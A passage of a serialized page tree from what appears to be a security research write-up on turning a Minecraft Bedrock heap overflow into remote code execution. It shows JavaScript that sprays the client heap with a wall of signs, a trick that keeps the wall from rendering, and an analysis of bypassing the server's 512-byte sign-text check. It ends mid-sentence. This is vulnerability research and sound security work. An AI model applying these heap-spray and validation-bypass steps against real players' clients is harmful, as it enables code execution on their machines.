remove_wall();\n});\n",[152403],{"type":22,"tag":114,"props":152404,"children":152405},{"__ignoreMap":7},[152406,152421,152428,152444,152461,152468,152530,152592,152599,152615,152623,152645,152671,152696,152716,152745,152757,152764,152772,152794,152828,152835,152855,152871,152887,152903,152915,152923,152930,152937,152944,152951,152967,152982,152989,153048,153107,153114,153129,153137,153165,153193,153201,153208,153227,153254,153261,153268,153283,153290,153297,153304,153311,153367,153379,153386,153393,153454,153466],{"type":22,"tag":118,"props":152407,"children":152408},{"class":120,"line":121},[152409,152413,152417],{"type":22,"tag":118,"props":152410,"children":152411},{"style":146},[152412],{"type":28,"value":3149},{"type":22,"tag":118,"props":152414,"children":152415},{"style":204},[152416],{"type":28,"value":151856},{"type":22,"tag":118,"props":152418,"children":152419},{"style":125},[152420],{"type":28,"value":801},{"type":22,"tag":118,"props":152422,"children":152423},{"class":120,"line":142},[152424],{"type":22,"tag":118,"props":152425,"children":152426},{"emptyLinePlaceholder":15},[152427],{"type":28,"value":250},{"type":22,"tag":118,"props":152429,"children":152430},{"class":120,"line":177},[152431,152435,152440],{"type":22,"tag":118,"props":152432,"children":152433},{"style":146},[152434],{"type":28,"value":33316},{"type":22,"tag":118,"props":152436,"children":152437},{"style":532},[152438],{"type":28,"value":152439}," create_wall",{"type":22,"tag":118,"props":152441,"children":152442},{"style":125},[152443],{"type":28,"value":2215},{"type":22,"tag":118,"props":152445,"children":152446},{"class":120,"line":195},[152447,152452,152456],{"type":22,"tag":118,"props":152448,"children":152449},{"style":204},[152450],{"type":28,"value":152451},"    signs",{"type":22,"tag":118,"props":152453,"children":152454},{"style":210},[152455],{"type":28,"value":837},{"type":22,"tag":118,"props":152457,"children":152458},{"style":125},[152459],{"type":28,"value":152460}," [];\n",{"type":22,"tag":118,"props":152462,"children":152463},{"class":120,"line":244},[152464],{"type":22,"tag":118,"props":152465,"children":152466},{"emptyLinePlaceholder":15},[152467],{"type":28,"value":250},{"type":22,"tag":118,"props":152469,"children":152470},{"class":120,"line":253},[152471,152475,152479,152483,152488,152492,152496,152500,152505,152509,152514,152518,152522,152526],{"type":22,"tag":118,"props":152472,"children":152473},{"style":1480},[152474],{"type":28,"value":5059},{"type":22,"tag":118,"props":152476,"children":152477},{"style":125},[152478],{"type":28,"value":842},{"type":22,"tag":118,"props":152480,"children":152481},{"style":146},[152482],{"type":28,"value":3149},{"type":22,"tag":118,"props":152484,"children":152485},{"style":204},[152486],{"type":28,"value":152487}," current_y",{"type":22,"tag":118,"props":152489,"children":152490},{"style":210},[152491],{"type":28,"value":837},{"type":22,"tag":118,"props":152493,"children":152494},{"style":674},[152495],{"type":28,"value":5074},{"type":22,"tag":118,"props":152497,"children":152498},{"style":125},[152499],{"type":28,"value":19191},{"type":22,"tag":118,"props":152501,"children":152502},{"style":204},[152503],{"type":28,"value":152504},"current_y",{"type":22,"tag":118,"props":152506,"children":152507},{"style":210},[152508],{"type":28,"value":2197},{"type":22,"tag":118,"props":152510,"children":152511},{"style":204},[152512],{"type":28,"value":152513}," WALL_HEIGHT",{"type":22,"tag":118,"props":152515,"children":152516},{"style":125},[152517],{"type":28,"value":19191},{"type":22,"tag":118,"props":152519,"children":152520},{"style":204},[152521],{"type":28,"value":152504},{"type":22,"tag":118,"props":152523,"children":152524},{"style":210},[152525],{"type":28,"value":53210},{"type":22,"tag":118,"props":152527,"children":152528},{"style":125},[152529],{"type":28,"value":16783},{"type":22,"tag":118,"props":152531,"children":152532},{"class":120,"line":263},[152533,152537,152541,152545,152550,152554,152558,152562,152567,152571,152576,152580,152584,152588],{"type":22,"tag":118,"props":152534,"children":152535},{"style":1480},[152536],{"type":28,"value":62517},{"type":22,"tag":118,"props":152538,"children":152539},{"style":125},[152540],{"type":28,"value":842},{"type":22,"tag":118,"props":152542,"children":152543},{"style":146},[152544],{"type":28,"value":3149},{"type":22,"tag":118,"props":152546,"children":152547},{"style":204},[152548],{"type":28,"value":152549}," current_x",{"type":22,"tag":118,"props":152551,"children":152552},{"style":210},[152553],{"type":28,"value":837},{"type":22,"tag":118,"props":152555,"children":152556},{"style":674},[152557],{"type":28,"value":5074},{"type":22,"tag":118,"props":152559,"children":152560},{"style":125},[152561],{"type":28,"value":19191},{"type":22,"tag":118,"props":152563,"children":152564},{"style":204},[152565],{"type":28,"value":152566},"current_x",{"type":22,"tag":118,"props":152568,"children":152569},{"style":210},[152570],{"type":28,"value":2197},{"type":22,"tag":118,"props":152572,"children":152573},{"style":204},[152574],{"type":28,"value":152575}," WALL_WIDTH",{"type":22,"tag":118,"props":152577,"children":152578},{"style":125},[152579],{"type":28,"value":19191},{"type":22,"tag":118,"props":152581,"children":152582},{"style":204},[152583],{"type":28,"value":152566},{"type":22,"tag":118,"props":152585,"children":152586},{"style":210},[152587],{"type":28,"value":53210},{"type":22,"tag":118,"props":152589,"children":152590},{"style":125},[152591],{"type":28,"value":16783},{"type":22,"tag":118,"props":152593,"children":152594},{"class":120,"line":318},[152595],{"type":22,"tag":118,"props":152596,"children":152597},{"emptyLinePlaceholder":15},[152598],{"type":28,"value":250},{"type":22,"tag":118,"props":152600,"children":152601},{"class":120,"line":351},[152602,152607,152611],{"type":22,"tag":118,"props":152603,"children":152604},{"style":125},[152605],{"type":28,"value":152606},"            [",{"type":22,"tag":118,"props":152608,"children":152609},{"style":210},[152610],{"type":28,"value":11589},{"type":22,"tag":118,"props":152612,"children":152613},{"style":125},[152614],{"type":28,"value":13772},{"type":22,"tag":118,"props":152616,"children":152617},{"class":120,"line":359},[152618],{"type":22,"tag":118,"props":152619,"children":152620},{"style":125},[152621],{"type":28,"value":152622},"            \n",{"type":22,"tag":118,"props":152624,"children":152625},{"class":120,"line":368},[152626,152631,152636,152640],{"type":22,"tag":118,"props":152627,"children":152628},{"style":146},[152629],{"type":28,"value":152630},"            const",{"type":22,"tag":118,"props":152632,"children":152633},{"style":204},[152634],{"type":28,"value":152635}," sign_block",{"type":22,"tag":118,"props":152637,"children":152638},{"style":210},[152639],{"type":28,"value":837},{"type":22,"tag":118,"props":152641,"children":152642},{"style":204},[152643],{"type":28,"value":152644}," world\n",{"type":22,"tag":118,"props":152646,"children":152647},{"class":120,"line":384},[152648,152653,152658,152662,152667],{"type":22,"tag":118,"props":152649,"children":152650},{"style":125},[152651],{"type":28,"value":152652},"                .",{"type":22,"tag":118,"props":152654,"children":152655},{"style":532},[152656],{"type":28,"value":152657},"getDimension",{"type":22,"tag":118,"props":152659,"children":152660},{"style":125},[152661],{"type":28,"value":540},{"type":22,"tag":118,"props":152663,"children":152664},{"style":1866},[152665],{"type":28,"value":152666},"\"overworld\"",{"type":22,"tag":118,"props":152668,"children":152669},{"style":125},[152670],{"type":28,"value":3665},{"type":22,"tag":118,"props":152672,"children":152673},{"class":120,"line":417},[152674,152678,152683,152687,152692],{"type":22,"tag":118,"props":152675,"children":152676},{"style":125},[152677],{"type":28,"value":152652},{"type":22,"tag":118,"props":152679,"children":152680},{"style":532},[152681],{"type":28,"value":152682},"getBlock",{"type":22,"tag":118,"props":152684,"children":152685},{"style":125},[152686],{"type":28,"value":540},{"type":22,"tag":118,"props":152688,"children":152689},{"style":204},[152690],{"type":28,"value":152691},"sign_location",{"type":22,"tag":118,"props":152693,"children":152694},{"style":125},[152695],{"type":28,"value":682},{"type":22,"tag":118,"props":152697,"children":152698},{"class":120,"line":425},[152699,152704,152708,152712],{"type":22,"tag":118,"props":152700,"children":152701},{"style":204},[152702],{"type":28,"value":152703},"            sign_block",{"type":22,"tag":118,"props":152705,"children":152706},{"style":125},[152707],{"type":28,"value":292},{"type":22,"tag":118,"props":152709,"children":152710},{"style":532},[152711],{"type":28,"value":152310},{"type":22,"tag":118,"props":152713,"children":152714},{"style":125},[152715],{"type":28,"value":696},{"type":22,"tag":118,"props":152717,"children":152718},{"class":120,"line":441},[152719,152724,152728,152732,152736,152741],{"type":22,"tag":118,"props":152720,"children":152721},{"style":204},[152722],{"type":28,"value":152723},"                BlockPermutation",{"type":22,"tag":118,"props":152725,"children":152726},{"style":125},[152727],{"type":28,"value":292},{"type":22,"tag":118,"props":152729,"children":152730},{"style":532},[152731],{"type":28,"value":152331},{"type":22,"tag":118,"props":152733,"children":152734},{"style":125},[152735],{"type":28,"value":540},{"type":22,"tag":118,"props":152737,"children":152738},{"style":1866},[152739],{"type":28,"value":152740},"\"minecraft:wall_sign\"",{"type":22,"tag":118,"props":152742,"children":152743},{"style":125},[152744],{"type":28,"value":50822},{"type":22,"tag":118,"props":152746,"children":152747},{"class":120,"line":475},[152748,152753],{"type":22,"tag":118,"props":152749,"children":152750},{"style":204},[152751],{"type":28,"value":152752},"                    facing_direction:",{"type":22,"tag":118,"props":152754,"children":152755},{"style":674},[152756],{"type":28,"value":21294},{"type":22,"tag":118,"props":152758,"children":152759},{"class":120,"line":484},[152760],{"type":22,"tag":118,"props":152761,"children":152762},{"style":125},[152763],{"type":28,"value":1819},{"type":22,"tag":118,"props":152765,"children":152766},{"class":120,"line":492},[152767],{"type":22,"tag":118,"props":152768,"children":152769},{"style":125},[152770],{"type":28,"value":152771},"            ));\n",{"type":22,"tag":118,"props":152773,"children":152774},{"class":120,"line":501},[152775,152780,152785,152789],{"type":22,"tag":118,"props":152776,"children":152777},{"style":146},[152778],{"type":28,"value":152779},"            let",{"type":22,"tag":118,"props":152781,"children":152782},{"style":204},[152783],{"type":28,"value":152784}," sign_component",{"type":22,"tag":118,"props":152786,"children":152787},{"style":210},[152788],{"type":28,"value":837},{"type":22,"tag":118,"props":152790,"children":152791},{"style":204},[152792],{"type":28,"value":152793}," sign_block\n",{"type":22,"tag":118,"props":152795,"children":152796},{"class":120,"line":519},[152797,152801,152806,152810,152815,152819,152824],{"type":22,"tag":118,"props":152798,"children":152799},{"style":125},[152800],{"type":28,"value":152652},{"type":22,"tag":118,"props":152802,"children":152803},{"style":532},[152804],{"type":28,"value":152805},"getComponent",{"type":22,"tag":118,"props":152807,"children":152808},{"style":125},[152809],{"type":28,"value":540},{"type":22,"tag":118,"props":152811,"children":152812},{"style":204},[152813],{"type":28,"value":152814},"BlockComponentTypes",{"type":22,"tag":118,"props":152816,"children":152817},{"style":125},[152818],{"type":28,"value":292},{"type":22,"tag":118,"props":152820,"children":152821},{"style":204},[152822],{"type":28,"value":152823},"Sign",{"type":22,"tag":118,"props":152825,"children":152826},{"style":125},[152827],{"type":28,"value":682},{"type":22,"tag":118,"props":152829,"children":152830},{"class":120,"line":606},[152831],{"type":22,"tag":118,"props":152832,"children":152833},{"emptyLinePlaceholder":15},[152834],{"type":28,"value":250},{"type":22,"tag":118,"props":152836,"children":152837},{"class":120,"line":615},[152838,152843,152847,152851],{"type":22,"tag":118,"props":152839,"children":152840},{"style":204},[152841],{"type":28,"value":152842},"            signs",{"type":22,"tag":118,"props":152844,"children":152845},{"style":125},[152846],{"type":28,"value":292},{"type":22,"tag":118,"props":152848,"children":152849},{"style":532},[152850],{"type":28,"value":5824},{"type":22,"tag":118,"props":152852,"children":152853},{"style":125},[152854],{"type":28,"value":17116},{"type":22,"tag":118,"props":152856,"children":152857},{"class":120,"line":685},[152858,152863,152867],{"type":22,"tag":118,"props":152859,"children":152860},{"style":204},[152861],{"type":28,"value":152862},"                sign:",{"type":22,"tag":118,"props":152864,"children":152865},{"style":204},[152866],{"type":28,"value":152784},{"type":22,"tag":118,"props":152868,"children":152869},{"style":125},[152870],{"type":28,"value":782},{"type":22,"tag":118,"props":152872,"children":152873},{"class":120,"line":699},[152874,152879,152883],{"type":22,"tag":118,"props":152875,"children":152876},{"style":204},[152877],{"type":28,"value":152878},"                allocated:",{"type":22,"tag":118,"props":152880,"children":152881},{"style":146},[152882],{"type":28,"value":1678},{"type":22,"tag":118,"props":152884,"children":152885},{"style":125},[152886],{"type":28,"value":782},{"type":22,"tag":118,"props":152888,"children":152889},{"class":120,"line":729},[152890,152895,152899],{"type":22,"tag":118,"props":152891,"children":152892},{"style":204},[152893],{"type":28,"value":152894},"                block:",{"type":22,"tag":118,"props":152896,"children":152897},{"style":204},[152898],{"type":28,"value":152635},{"type":22,"tag":118,"props":152900,"children":152901},{"style":125},[152902],{"type":28,"value":782},{"type":22,"tag":118,"props":152904,"children":152905},{"class":120,"line":771},[152906,152911],{"type":22,"tag":118,"props":152907,"children":152908},{"style":204},[152909],{"type":28,"value":152910},"                removed:",{"type":22,"tag":118,"props":152912,"children":152913},{"style":146},[152914],{"type":28,"value":14308},{"type":22,"tag":118,"props":152916,"children":152917},{"class":120,"line":785},[152918],{"type":22,"tag":118,"props":152919,"children":152920},{"style":125},[152921],{"type":28,"value":152922},"            });\n",{"type":22,"tag":118,"props":152924,"children":152925},{"class":120,"line":804},[152926],{"type":22,"tag":118,"props":152927,"children":152928},{"style":125},[152929],{"type":28,"value":1835},{"type":22,"tag":118,"props":152931,"children":152932},{"class":120,"line":812},[152933],{"type":22,"tag":118,"props":152934,"children":152935},{"style":125},[152936],{"type":28,"value":1254},{"type":22,"tag":118,"props":152938,"children":152939},{"class":120,"line":821},[152940],{"type":22,"tag":118,"props":152941,"children":152942},{"style":125},[152943],{"type":28,"value":481},{"type":22,"tag":118,"props":152945,"children":152946},{"class":120,"line":900},[152947],{"type":22,"tag":118,"props":152948,"children":152949},{"emptyLinePlaceholder":15},[152950],{"type":28,"value":250},{"type":22,"tag":118,"props":152952,"children":152953},{"class":120,"line":913},[152954,152958,152963],{"type":22,"tag":118,"props":152955,"children":152956},{"style":146},[152957],{"type":28,"value":33316},{"type":22,"tag":118,"props":152959,"children":152960},{"style":532},[152961],{"type":28,"value":152962}," remove_wall",{"type":22,"tag":118,"props":152964,"children":152965},{"style":125},[152966],{"type":28,"value":2215},{"type":22,"tag":118,"props":152968,"children":152969},{"class":120,"line":953},[152970,152974,152978],{"type":22,"tag":118,"props":152971,"children":152972},{"style":204},[152973],{"type":28,"value":152451},{"type":22,"tag":118,"props":152975,"children":152976},{"style":210},[152977],{"type":28,"value":837},{"type":22,"tag":118,"props":152979,"children":152980},{"style":125},[152981],{"type":28,"value":152460},{"type":22,"tag":118,"props":152983,"children":152984},{"class":120,"line":982},[152985],{"type":22,"tag":118,"props":152986,"children":152987},{"style":125},[152988],{"type":28,"value":63727},{"type":22,"tag":118,"props":152990,"children":152991},{"class":120,"line":995},[152992,152996,153000,153004,153008,153012,153016,153020,153024,153028,153032,153036,153040,153044],{"type":22,"tag":118,"props":152993,"children":152994},{"style":1480},[152995],{"type":28,"value":5059},{"type":22,"tag":118,"props":152997,"children":152998},{"style":125},[152999],{"type":28,"value":842},{"type":22,"tag":118,"props":153001,"children":153002},{"style":146},[153003],{"type":28,"value":3149},{"type":22,"tag":118,"props":153005,"children":153006},{"style":204},[153007],{"type":28,"value":152487},{"type":22,"tag":118,"props":153009,"children":153010},{"style":210},[153011],{"type":28,"value":837},{"type":22,"tag":118,"props":153013,"children":153014},{"style":674},[153015],{"type":28,"value":5074},{"type":22,"tag":118,"props":153017,"children":153018},{"style":125},[153019],{"type":28,"value":19191},{"type":22,"tag":118,"props":153021,"children":153022},{"style":204},[153023],{"type":28,"value":152504},{"type":22,"tag":118,"props":153025,"children":153026},{"style":210},[153027],{"type":28,"value":2197},{"type":22,"tag":118,"props":153029,"children":153030},{"style":204},[153031],{"type":28,"value":152513},{"type":22,"tag":118,"props":153033,"children":153034},{"style":125},[153035],{"type":28,"value":19191},{"type":22,"tag":118,"props":153037,"children":153038},{"style":204},[153039],{"type":28,"value":152504},{"type":22,"tag":118,"props":153041,"children":153042},{"style":210},[153043],{"type":28,"value":53210},{"type":22,"tag":118,"props":153045,"children":153046},{"style":125},[153047],{"type":28,"value":16783},{"type":22,"tag":118,"props":153049,"children":153050},{"class":120,"line":1011},[153051,153055,153059,153063,153067,153071,153075,153079,153083,153087,153091,153095,153099,153103],{"type":22,"tag":118,"props":153052,"children":153053},{"style":1480},[153054],{"type":28,"value":62517},{"type":22,"tag":118,"props":153056,"children":153057},{"style":125},[153058],{"type":28,"value":842},{"type":22,"tag":118,"props":153060,"children":153061},{"style":146},[153062],{"type":28,"value":3149},{"type":22,"tag":118,"props":153064,"children":153065},{"style":204},[153066],{"type":28,"value":152549},{"type":22,"tag":118,"props":153068,"children":153069},{"style":210},[153070],{"type":28,"value":837},{"type":22,"tag":118,"props":153072,"children":153073},{"style":674},[153074],{"type":28,"value":5074},{"type":22,"tag":118,"props":153076,"children":153077},{"style":125},[153078],{"type":28,"value":19191},{"type":22,"tag":118,"props":153080,"children":153081},{"style":204},[153082],{"type":28,"value":152566},{"type":22,"tag":118,"props":153084,"children":153085},{"style":210},[153086],{"type":28,"value":2197},{"type":22,"tag":118,"props":153088,"children":153089},{"style":204},[153090],{"type":28,"value":152575},{"type":22,"tag":118,"props":153092,"children":153093},{"style":125},[153094],{"type":28,"value":19191},{"type":22,"tag":118,"props":153096,"children":153097},{"style":204},[153098],{"type":28,"value":152566},{"type":22,"tag":118,"props":153100,"children":153101},{"style":210},[153102],{"type":28,"value":53210},{"type":22,"tag":118,"props":153104,"children":153105},{"style":125},[153106],{"type":28,"value":16783},{"type":22,"tag":118,"props":153108,"children":153109},{"class":120,"line":1019},[153110],{"type":22,"tag":118,"props":153111,"children":153112},{"style":125},[153113],{"type":28,"value":152622},{"type":22,"tag":118,"props":153115,"children":153116},{"class":120,"line":1028},[153117,153121,153125],{"type":22,"tag":118,"props":153118,"children":153119},{"style":125},[153120],{"type":28,"value":152606},{"type":22,"tag":118,"props":153122,"children":153123},{"style":210},[153124],{"type":28,"value":11589},{"type":22,"tag":118,"props":153126,"children":153127},{"style":125},[153128],{"type":28,"value":13772},{"type":22,"tag":118,"props":153130,"children":153131},{"class":120,"line":1101},[153132],{"type":22,"tag":118,"props":153133,"children":153134},{"style":125},[153135],{"type":28,"value":153136},"             \n",{"type":22,"tag":118,"props":153138,"children":153139},{"class":120,"line":1146},[153140,153144,153148,153152,153156,153161],{"type":22,"tag":118,"props":153141,"children":153142},{"style":146},[153143],{"type":28,"value":152630},{"type":22,"tag":118,"props":153145,"children":153146},{"style":204},[153147],{"type":28,"value":152635},{"type":22,"tag":118,"props":153149,"children":153150},{"style":210},[153151],{"type":28,"value":837},{"type":22,"tag":118,"props":153153,"children":153154},{"style":1480},[153155],{"type":28,"value":38152},{"type":22,"tag":118,"props":153157,"children":153158},{"style":532},[153159],{"type":28,"value":153160}," wait_for_block",{"type":22,"tag":118,"props":153162,"children":153163},{"style":125},[153164],{"type":28,"value":696},{"type":22,"tag":118,"props":153166,"children":153167},{"class":120,"line":1226},[153168,153173,153177,153181,153185,153189],{"type":22,"tag":118,"props":153169,"children":153170},{"style":204},[153171],{"type":28,"value":153172},"                world",{"type":22,"tag":118,"props":153174,"children":153175},{"style":125},[153176],{"type":28,"value":292},{"type":22,"tag":118,"props":153178,"children":153179},{"style":532},[153180],{"type":28,"value":152657},{"type":22,"tag":118,"props":153182,"children":153183},{"style":125},[153184],{"type":28,"value":540},{"type":22,"tag":118,"props":153186,"children":153187},{"style":1866},[153188],{"type":28,"value":152666},{"type":22,"tag":118,"props":153190,"children":153191},{"style":125},[153192],{"type":28,"value":3853},{"type":22,"tag":118,"props":153194,"children":153195},{"class":120,"line":1234},[153196],{"type":22,"tag":118,"props":153197,"children":153198},{"style":204},[153199],{"type":28,"value":153200},"                sign_location\n",{"type":22,"tag":118,"props":153202,"children":153203},{"class":120,"line":1248},[153204],{"type":22,"tag":118,"props":153205,"children":153206},{"style":125},[153207],{"type":28,"value":126710},{"type":22,"tag":118,"props":153209,"children":153210},{"class":120,"line":1257},[153211,153215,153219,153223],{"type":22,"tag":118,"props":153212,"children":153213},{"style":204},[153214],{"type":28,"value":152703},{"type":22,"tag":118,"props":153216,"children":153217},{"style":125},[153218],{"type":28,"value":292},{"type":22,"tag":118,"props":153220,"children":153221},{"style":532},[153222],{"type":28,"value":152310},{"type":22,"tag":118,"props":153224,"children":153225},{"style":125},[153226],{"type":28,"value":696},{"type":22,"tag":118,"props":153228,"children":153229},{"class":120,"line":25765},[153230,153234,153238,153242,153246,153250],{"type":22,"tag":118,"props":153231,"children":153232},{"style":204},[153233],{"type":28,"value":152723},{"type":22,"tag":118,"props":153235,"children":153236},{"style":125},[153237],{"type":28,"value":292},{"type":22,"tag":118,"props":153239,"children":153240},{"style":532},[153241],{"type":28,"value":152331},{"type":22,"tag":118,"props":153243,"children":153244},{"style":125},[153245],{"type":28,"value":540},{"type":22,"tag":118,"props":153247,"children":153248},{"style":1866},[153249],{"type":28,"value":152340},{"type":22,"tag":118,"props":153251,"children":153252},{"style":125},[153253],{"type":28,"value":3665},{"type":22,"tag":118,"props":153255,"children":153256},{"class":120,"line":25778},[153257],{"type":22,"tag":118,"props":153258,"children":153259},{"style":125},[153260],{"type":28,"value":126710},{"type":22,"tag":118,"props":153262,"children":153263},{"class":120,"line":25791},[153264],{"type":22,"tag":118,"props":153265,"children":153266},{"emptyLinePlaceholder":15},[153267],{"type":28,"value":250},{"type":22,"tag":118,"props":153269,"children":153270},{"class":120,"line":25804},[153271,153275,153279],{"type":22,"tag":118,"props":153272,"children":153273},{"style":125},[153274],{"type":28,"value":152606},{"type":22,"tag":118,"props":153276,"children":153277},{"style":210},[153278],{"type":28,"value":11589},{"type":22,"tag":118,"props":153280,"children":153281},{"style":125},[153282],{"type":28,"value":13772},{"type":22,"tag":118,"props":153284,"children":153285},{"class":120,"line":25858},[153286],{"type":22,"tag":118,"props":153287,"children":153288},{"style":125},[153289],{"type":28,"value":1835},{"type":22,"tag":118,"props":153291,"children":153292},{"class":120,"line":25867},[153293],{"type":22,"tag":118,"props":153294,"children":153295},{"style":125},[153296],{"type":28,"value":1254},{"type":22,"tag":118,"props":153298,"children":153299},{"class":120,"line":34219},[153300],{"type":22,"tag":118,"props":153301,"children":153302},{"style":125},[153303],{"type":28,"value":481},{"type":22,"tag":118,"props":153305,"children":153306},{"class":120,"line":34240},[153307],{"type":22,"tag":118,"props":153308,"children":153309},{"emptyLinePlaceholder":15},[153310],{"type":28,"value":250},{"type":22,"tag":118,"props":153312,"children":153313},{"class":120,"line":82547},[153314,153319,153323,153328,153332,153337,153341,153346,153350,153355,153359,153363],{"type":22,"tag":118,"props":153315,"children":153316},{"style":204},[153317],{"type":28,"value":153318},"world",{"type":22,"tag":118,"props":153320,"children":153321},{"style":125},[153322],{"type":28,"value":292},{"type":22,"tag":118,"props":153324,"children":153325},{"style":204},[153326],{"type":28,"value":153327},"afterEvents",{"type":22,"tag":118,"props":153329,"children":153330},{"style":125},[153331],{"type":28,"value":292},{"type":22,"tag":118,"props":153333,"children":153334},{"style":204},[153335],{"type":28,"value":153336},"playerSpawn",{"type":22,"tag":118,"props":153338,"children":153339},{"style":125},[153340],{"type":28,"value":292},{"type":22,"tag":118,"props":153342,"children":153343},{"style":532},[153344],{"type":28,"value":153345},"subscribe",{"type":22,"tag":118,"props":153347,"children":153348},{"style":125},[153349],{"type":28,"value":33462},{"type":22,"tag":118,"props":153351,"children":153352},{"style":204},[153353],{"type":28,"value":153354},"arg",{"type":22,"tag":118,"props":153356,"children":153357},{"style":125},[153358],{"type":28,"value":588},{"type":22,"tag":118,"props":153360,"children":153361},{"style":146},[153362],{"type":28,"value":1616},{"type":22,"tag":118,"props":153364,"children":153365},{"style":125},[153366],{"type":28,"value":1474},{"type":22,"tag":118,"props":153368,"children":153369},{"class":120,"line":82560},[153370,153375],{"type":22,"tag":118,"props":153371,"children":153372},{"style":532},[153373],{"type":28,"value":153374},"    create_wall",{"type":22,"tag":118,"props":153376,"children":153377},{"style":125},[153378],{"type":28,"value":1098},{"type":22,"tag":118,"props":153380,"children":153381},{"class":120,"line":82568},[153382],{"type":22,"tag":118,"props":153383,"children":153384},{"style":125},[153385],{"type":28,"value":37278},{"type":22,"tag":118,"props":153387,"children":153388},{"class":120,"line":82576},[153389],{"type":22,"tag":118,"props":153390,"children":153391},{"emptyLinePlaceholder":15},[153392],{"type":28,"value":250},{"type":22,"tag":118,"props":153394,"children":153395},{"class":120,"line":82584},[153396,153400,153404,153409,153413,153418,153422,153426,153430,153434,153438,153442,153446,153450],{"type":22,"tag":118,"props":153397,"children":153398},{"style":204},[153399],{"type":28,"value":153318},{"type":22,"tag":118,"props":153401,"children":153402},{"style":125},[153403],{"type":28,"value":292},{"type":22,"tag":118,"props":153405,"children":153406},{"style":204},[153407],{"type":28,"value":153408},"beforeEvents",{"type":22,"tag":118,"props":153410,"children":153411},{"style":125},[153412],{"type":28,"value":292},{"type":22,"tag":118,"props":153414,"children":153415},{"style":204},[153416],{"type":28,"value":153417},"playerLeave",{"type":22,"tag":118,"props":153419,"children":153420},{"style":125},[153421],{"type":28,"value":292},{"type":22,"tag":118,"props":153423,"children":153424},{"style":532},[153425],{"type":28,"value":153345},{"type":22,"tag":118,"props":153427,"children":153428},{"style":125},[153429],{"type":28,"value":540},{"type":22,"tag":118,"props":153431,"children":153432},{"style":146},[153433],{"type":28,"value":38086},{"type":22,"tag":118,"props":153435,"children":153436},{"style":125},[153437],{"type":28,"value":842},{"type":22,"tag":118,"props":153439,"children":153440},{"style":204},[153441],{"type":28,"value":153354},{"type":22,"tag":118,"props":153443,"children":153444},{"style":125},[153445],{"type":28,"value":588},{"type":22,"tag":118,"props":153447,"children":153448},{"style":146},[153449],{"type":28,"value":1616},{"type":22,"tag":118,"props":153451,"children":153452},{"style":125},[153453],{"type":28,"value":1474},{"type":22,"tag":118,"props":153455,"children":153456},{"class":120,"line":82624},[153457,153462],{"type":22,"tag":118,"props":153458,"children":153459},{"style":532},[153460],{"type":28,"value":153461},"    remove_wall",{"type":22,"tag":118,"props":153463,"children":153464},{"style":125},[153465],{"type":28,"value":1098},{"type":22,"tag":118,"props":153467,"children":153468},{"class":120,"line":82632},[153469],{"type":22,"tag":118,"props":153470,"children":153471},{"style":125},[153472],{"type":28,"value":37278},{"type":22,"tag":31,"props":153474,"children":153475},{},[153476],{"type":28,"value":153477},"This works well and produces a structure that the client ideally should not render - displaying and repeatedly updating this many signs during the spray would stall the client, which we want to avoid.",{"type":22,"tag":31,"props":153479,"children":153480},{},[153481],{"type":22,"tag":5928,"props":153482,"children":153485},{"alt":153483,"src":153484},"image-min","/posts/minecraft-heap-overflow-to-rce/image3.png",[],{"type":22,"tag":31,"props":153487,"children":153488},{},[153489],{"type":28,"value":153490},"Preventing the client from rendering the sign wall is as simple as adjusting player’s view angle each tick, essentially forcing the client to look in the opposite direction of the sign wall.",{"type":22,"tag":1899,"props":153492,"children":153494},{"id":153493},"a-small-roadblock",[153495],{"type":28,"value":153496},"A Small Roadblock",{"type":22,"tag":31,"props":153498,"children":153499},{},[153500],{"type":28,"value":153501},"While testing our heap spray method, we encountered the following error:",{"type":22,"tag":107,"props":153503,"children":153505},{"code":153504},"[Scripting] Error: Provided message is too long.\nMax length is 512 and the provided message has length of 1024.\n    at alloc (index.js:169)\n",[153506],{"type":22,"tag":114,"props":153507,"children":153508},{"__ignoreMap":7},[153509],{"type":28,"value":153504},{"type":22,"tag":31,"props":153511,"children":153512},{},[153513,153515,153521],{"type":28,"value":153514},"An error is thrown by the server executable while trying to assign text longer than ",{"type":22,"tag":114,"props":153516,"children":153518},{"className":153517},[],[153519],{"type":28,"value":153520},"512",{"type":28,"value":153522}," bytes to a sign. This severely limits our approach, as it prevents us from spraying the VS heap with large chunks needed for the mentioned chunk-overlap technique.",{"type":22,"tag":31,"props":153524,"children":153525},{},[153526],{"type":28,"value":153527},"Before abandoning the idea entirely, we considered one possibility: perhaps this check only occurs server-side, and the client might not validate the length of the data it receives.",{"type":22,"tag":31,"props":153529,"children":153530},{},[153531],{"type":28,"value":153532},"We searched for the error message in the Bedrock server executable and located the length-validation logic:",{"type":22,"tag":31,"props":153534,"children":153535},{},[153536],{"type":22,"tag":5928,"props":153537,"children":153539},{"alt":52519,"src":153538},"/posts/minecraft-heap-overflow-to-rce/image4.png",[],{"type":22,"tag":31,"props":153541,"children":153542},{},[153543,153545,153551],{"type":28,"value":153544},"Although the involved functions are unnamed, it’s clear that we always want execution to take the ",{"type":22,"tag":114,"props":153546,"children":153548},{"className":153547},[],[153549],{"type":28,"value":153550},"string_length \u003C= 512",{"type":28,"value":153552}," branch, regardless of the actual length. Otherwise, the error is thrown and the client never allocates the desired chunk.",{"type":22,"tag":31,"props":153554,"children":153555},{},[153556],{"type":28,"value":153557},"The disassembly of the comparison looks like this:",{"type":22,"tag":31,"props":153559,"children":153560},{},[153561],{"type":22,"tag":5928,"props":153562,"children":153564},{"alt":52519,"src":153563},"/posts/minecraft-heap-overflow-to-rce/image5.png",[],{"type":22,"tag":31,"props":153566,"children":153567},{},[153568,153570,153575,153577,153582,153583,153588,153590,153596,153598,153604,153606,153611,153613,153618],{"type":28,"value":153569},"The code compares ",{"type":22,"tag":114,"props":153571,"children":153573},{"className":153572},[],[153574],{"type":28,"value":58715},{"type":28,"value":153576}," (the string length) to ",{"type":22,"tag":114,"props":153578,"children":153580},{"className":153579},[],[153581],{"type":28,"value":129410},{"type":28,"value":842},{"type":22,"tag":114,"props":153584,"children":153586},{"className":153585},[],[153587],{"type":28,"value":153520},{"type":28,"value":153589}," decimal). It then performs a ",{"type":22,"tag":114,"props":153591,"children":153593},{"className":153592},[],[153594],{"type":28,"value":153595},"jbe",{"type":28,"value":153597},", jumping to address ",{"type":22,"tag":114,"props":153599,"children":153601},{"className":153600},[],[153602],{"type":28,"value":153603},"0x14275114c",{"type":28,"value":153605}," if ",{"type":22,"tag":114,"props":153607,"children":153609},{"className":153608},[],[153610],{"type":28,"value":58715},{"type":28,"value":153612}," is less than or equal to ",{"type":22,"tag":114,"props":153614,"children":153616},{"className":153615},[],[153617],{"type":28,"value":153520},{"type":28,"value":153619},". That target location contains the logic that instructs the 